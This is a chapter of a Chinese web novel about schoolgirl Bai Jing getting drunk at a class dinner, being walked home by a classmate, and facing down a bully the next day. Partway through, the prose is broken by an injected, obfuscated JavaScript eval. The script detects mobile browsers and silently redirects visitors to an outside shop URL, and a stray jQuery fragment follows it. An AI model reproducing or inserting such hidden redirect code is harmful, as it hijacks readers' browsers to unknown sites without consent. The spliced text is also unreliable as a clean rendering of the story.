柏璟酒精不上脸。
别人一喝酒就脸红脖子粗,双颊涨红的活像煮熟的螃蟹。
她不是,一张巴掌脸白兮兮的,因此沉默着傻了半天之后,黎妆才意识到柏璟有点不对劲儿。
黎妆伸手掐着柏璟的手臂晃了晃:“阿璟,你还好吗?”
女生眼神不复以往的冷淡,眼中的排斥消散之后是懵懂:“嗯?我很好。”
那就是不太好了。
这一桌上跟柏璟交好的人少之又少,赵阁玩的正嗨,整个人站起来一只脚踩在椅子上喝,打了石膏的那只手像个雕塑立在他腕接处。
黎妆啧了一声,这逼是指望不上了。
接着她叹了口气,虽然之前没少跟柏璟出去喝酒,但把人喝到傻了的地步还真是头一次。
她凑的离柏璟近了些:“我送你回家?”
听到这句,柏璟一直懵着的表情才有了些许波动,她歪了歪脑袋:“几点了。”
黎妆看了眼手机:“还没过九点。”
柏璟虽然脑子冒酒花儿,但也没到连理智都保持不了的地步:“那等整点?”
包间里氛围热火朝天,总不能因为她而破坏了。
难搞。
黎妆没面对过喝过酒的柏璟,准确的说,是她连喝多了的醉鬼都没面对过,因为一般别人喝多之前,先趴下的一定是自己。
这次还真是奇了怪了。
她现在也只能顺着柏璟的意思,先不带她离开。
可偏偏有人要借机发挥,注意到柏璟不对劲儿的不止离得近的黎妆,还有旁边一直跟岑周屿对刚的温恒年。
紧接着就是岑周屿。
温恒年握着啤酒瓶的手停下来,把瓶子放在桌子上,往后一靠,目光越过柏璟问黎妆:“她喝多了?”
只是个口型,没发出声音。
黎妆点点头,表情似是无奈:“嗯。”
温恒年迟疑了下,这等子闲事儿他是不想管的,而就是这么迟疑了一下,让一直注意着他们的岑周屿瞄见了。
岑周屿就是属于那种喝完酒脸红脖子粗的,他面相不善,这么个情况下看起来格外骇人,瞧着他往自己这边走过来,饭桌上沉默许久的班长缩了缩脖子。
“柏璟,还好不?”岑周屿走过来之后,身子靠在包间靠着墙的椅子上,跟另一边的职高女生们嬉笑了几声之后,才装了一副漫不经心的模样问起柏璟的情况。
黎妆没吭声,她不太想接岑周屿的话,只期盼着柏璟能像回答自己一样清楚的回答对方,然后让他赶快忙自己的去。
不出意外的话,就会出意外了。
柏璟管不了自己的嘴巴,脑子也糊糊涂涂的,别人问什么问题在她耳朵里像过了个电音,她还没来得及控制住神经,嘴巴就先张开了:“你爹好得很。”
“……”
黎妆呆滞了一下,随后爆笑,柏璟这怎么还差别攻击呢?
温恒年倒是被逗乐了,也跟着短促的笑了一声。
岑周屿被这么突然加了辈,也没在乎,仍旧乐呵着试图突破柏璟脑子里那根防线:“哎,你要是不行的话,让黎妆她们继续在这儿玩?我送你回去?”
话都说的这么明白了,一桌人被阴风吹了似的沉默了下来,紧接着除了几个跟柏璟打过照面的人之外,又陷入了混乱。
赵阁虽然玩的上头,但是这会儿也是紧紧盯着柏璟,生怕她一鸣惊人答应了。
好在理智还在来回拉扯的路上,柏璟扬起下巴淡声说道:“用不着。”
“行,看来真的没事儿,那就继续?”岑周屿舔了舔舌根,他就喜欢这种让人有征服欲的女生。
柏璟的长相是他没好过的没类型,这要是拿下了,保不齐轰轰烈烈一场。
一直看戏的温恒年这才出了声,毕竟也是同班同学,他这么一个根正苗红的好青年也不能看着同班女生“误入歧途”:
“我替她。”
说罢,不等岑周屿同意,自己便先拿起酒瓶把剩下的半瓶啤酒全部灌下去。
看周围几个人护柏璟护的紧,岑周屿没再说什么,遗憾的叹息一声坐回了座位。
黎妆紧看慢看着,不让柏璟再继续碰有酒精的任何东西,但耐不住她自己眼馋的很,饿了就抓起旁边的串往嘴里塞,渴了手碰着什么杯子就直接往嘴里灌。
直到眼睁睁看着柏璟从旁边盘子里拿走一串肉串,被抢走吃食的主人是表情沉默的温恒年。
这都不是什么大事儿。
黎妆心想,出来混什么大风大浪的没他妈见过,还搞不定一个喝上头的人?
事实证明,这话只在她想去厕所之前有用。
黎妆猫着腰凑到温恒年旁边,敲了敲那人的椅子:“哎,帮我看一下阿璟,我去一趟厕所,她喝多了我不放心让她跟着。”
“行,你去吧。”温恒年这会儿也喝不了多少了,他没吃什么东西,一来就跟岑周屿那逼对吹了好几瓶,好不容易趁着岑周屿去灌别人了自己能吃点,没成想吃了半串就被柏璟一手抢走。
身边突然空了个位置,柏璟下意识就要跟着站起来走。
温恒年眼疾手快,一把抓住女生的手腕把她拉回来:“老实点。”
可他忘了柏璟是个醉鬼,怎么能跟正软着骨头的人用这么大力气呢?
柏璟身子一晃,脑子混混沌沌的,被这么一拉更起泡泡了,等那股昏沉劲儿过去,她才发现,自己半个身子坐在了温恒年腿上。
温恒年似乎也是没想到会有这么个场景,手松开之后,微微尴尬:“黎妆去厕所,你在这儿听话等她回来吧。”
这一坐,柏璟大概也吓的清醒了一些,“喔”了一声之后,直到黎妆回来前再没动过。
黎妆回来的时候给她捎了瓶绿茶:“喝点这个吧,催吐,吐出来就清醒了。……诶?你又喝酒了?怎么还上脸了?”
柏璟一听,反射性的抬手用手背碰了碰脸上的温度,烧的慌。
“…可能吧。”柏璟声音闷闷说道,接过绿茶往下灌了一大口。
聚餐结束
一群人七倒八歪的从店里出来。
柏璟清醒了许多,浑身上下浓重的孜然味儿让她只想赶快回家去洗个澡,把身上的味道驱散掉。
“我先送你回去,然后再打车回家。”黎妆说着,挽起她的胳膊就向路边走去,她得看好柏璟,万万不能让那个什么岑周屿捡了漏。
柏璟拍了拍她的手:“我没事,已经好多了,能自己回去了。”
“你这样让我怎么放心你?”
说着,黎妆又降低声音,用只有两个人能听到的音量说:“那个岑周屿不安好心,万一你被他拐走……这样那样了怎么办?”
柏璟失笑:“妆姐,你是不是忘了现在是法治社会了,他再牛逼也不可能敢做这种事儿的。”
黎妆不依,坚持着仍要送她回去。
柏璟无奈,刚要答应,便被送赵阁上车回来的温恒年给截胡:“你回去吧,我送她,刚好宋京承在网吧通宵,我去坐会儿。”
“行,那人就交给你了,千万把人安全送回去啊,”黎妆持着怀疑态度看向温恒年。
“这话说了几十遍了,哪次我让她吃过亏?”少年眼神戏谑看向柏璟,对方正抿唇看着自己。
蓦地又想起来刚刚吃饭时候柏璟不小心坐在自己腿上的时候的那个表情,他转开视线。
人都走的差不多了,黎妆又叮嘱了几句之后才上了车。
岑周屿大概也是知道今天晚上没什么持续发展的可能,搂着来的时候跳的最欢那个红唇女生就打车离开了。
【柏璟,真挺不好意思的,周屿哥就是在外面玩习惯了,你别搭理他就行。】
【改天我请妆姐你俩吃饭赔罪,再带上温恒年,我请你们仨……真对不住了。】
柏璟挑了挑眉,看着微信里面两分钟前赵阁发来的消息。
自己这个当事人还没觉得有什么呢,这家伙就先给自己赔礼道歉了?
不知道是不是在饭店里面呆的太久了,外面的空气格外的新鲜,柏璟舒了一口气,转过身看向身后,才发现后面温恒年不知道盯着自己看了多久。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13959217|146054||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
对方眼神幽幽,枕着夜色一般,瞳孔黑漆漆。
柏璟被盯得头皮一麻,她拍了拍脸,试图把那种不自在的感觉拍下去:“怎么了?”
温恒年细细打量她一番,接着慢悠悠叫了一声她的名字:“柏璟”
女生很快应答:“嗯?”
“好心奉劝你一句,别跟岑周屿谈恋爱。”
岑周屿这个人,做事没什么分寸,打起架来狠的不要命,什么事儿都敢做。
家里似乎没人管他,有人说他爸妈离婚了都不要他,只有一个奶奶,也有人说他是私生子,亲妈生下来就把他扔父亲家里不管了。
这人似乎很想挣钱,成年前擦着边干了很多事,三天两头被拘留一趟,碍着年纪没关太久。
成年之后倒是安分了许多。
但身边的女生像过天云彩,一朵飘来另一朵又消散。
柏璟愣了一下,心尖痒痒:“知道了。”
-
喝醉酒不是最可怕的,可怕的是酒醒了之后你还能回忆起来。
柏璟沉默着坐在床上,宿醉之后头疼的不得了。
“……”
下一秒,她似乎是想起来了点儿什么,昨天晚上喝酒的时候,她似乎是坐了某个人的腿?
脑子很配合的浮现出来了关于这段的记忆,柏璟痛苦的闭上眼,恨不得就此长眠。
上午前两节课正常上课,后两节是开学典礼。
柏璟有些庆幸喝完酒之后嗓子没岔,还能唱出声来。
相对比之下,班长状态就不是那么好了。
柏老头办事儿速度快得很,今天周一开学,上课前班主任就把程娅带来了二班,简单的说明了下转班事情之后,把人安排到了柏璟的旁边。
她第一天来,所以不用跟着上去合唱,便跟其他主科老师在台下帮忙看着班里的东西。
收尾节目是四班的舞蹈,柏璟在后台收拾完自己的东西,恰好碰见她们表演完回来。
临出去的时候被为首那女生狠狠撞了一下肩膀,柏璟也不惯着她,捏着那人肩膀掼到墙上:“这么宽的道儿,容不下你?”
被这么压制着,女生觉得自己特没面子,想挣脱又挣不开,纳闷着对方是什么组成的,他妈的怎么力气就这么大?
“……操,你放开!”感受到其他人的目光,女生面红耳赤,用尽力气推了一把。
柏璟松开手,原本想留几分情面给她,可惜那人偏偏是个给脸不要脸的类型。
不过在她还手前,便被四班那几个人拦下来了:“舒微,算了,外面那么多校领导都在呢,闹起来了咱们几个都得吃处分。”
舒微狠剜了柏璟一眼,自认为好心的提醒她:“你以为你帮了程娅那小婊子是件多么好的事儿?小心引火烧身自个儿吃亏。”
柏璟把这话理解为了变相的威胁,唇角一弯:“还想做什么尽管来,我时间多的很,想玩我们就慢慢玩。”
“……有病。”舒微眉头拧成一个疙瘩,气呼呼的把自己的东西往怀里一抓跟着那几人后走了。
柏璟松了松筋骨,她刚刚也不确定自己能不能震慑住对方,这会儿事情结束,后知后觉的胳膊有些发软。
后台通往外面是用一层门帘掩住,柏璟活动身子的时候这帘子被人悉悉索索的掀开来。
进来的是看上去还有些惧意的程娅:“柏璟,她们刚刚跟你说什么了?……你没受伤吧?”
明明面对那么多人的是自己,可程娅看上去比她害怕多了。
知道心理阴影有可能是一辈子的事儿,柏璟安抚她:“放心,她们不敢的。”
程娅小声道:“说真的,我好羡慕你。”
“羡慕我?”柏璟诧异的重复一句。
女生低下头,声音像蜜蜂嗡嗡似的:“羡慕你有勇气,也羡慕你有那么多朋友护着。”
柏璟没明白她后半句的意思,只把前半部分听在了耳朵里:“这种人,你越怂她们就越嚣张。”
又想到程娅的性格,柏璟换了种安慰方式:“不过估计你们以后也不会见到了,放心。”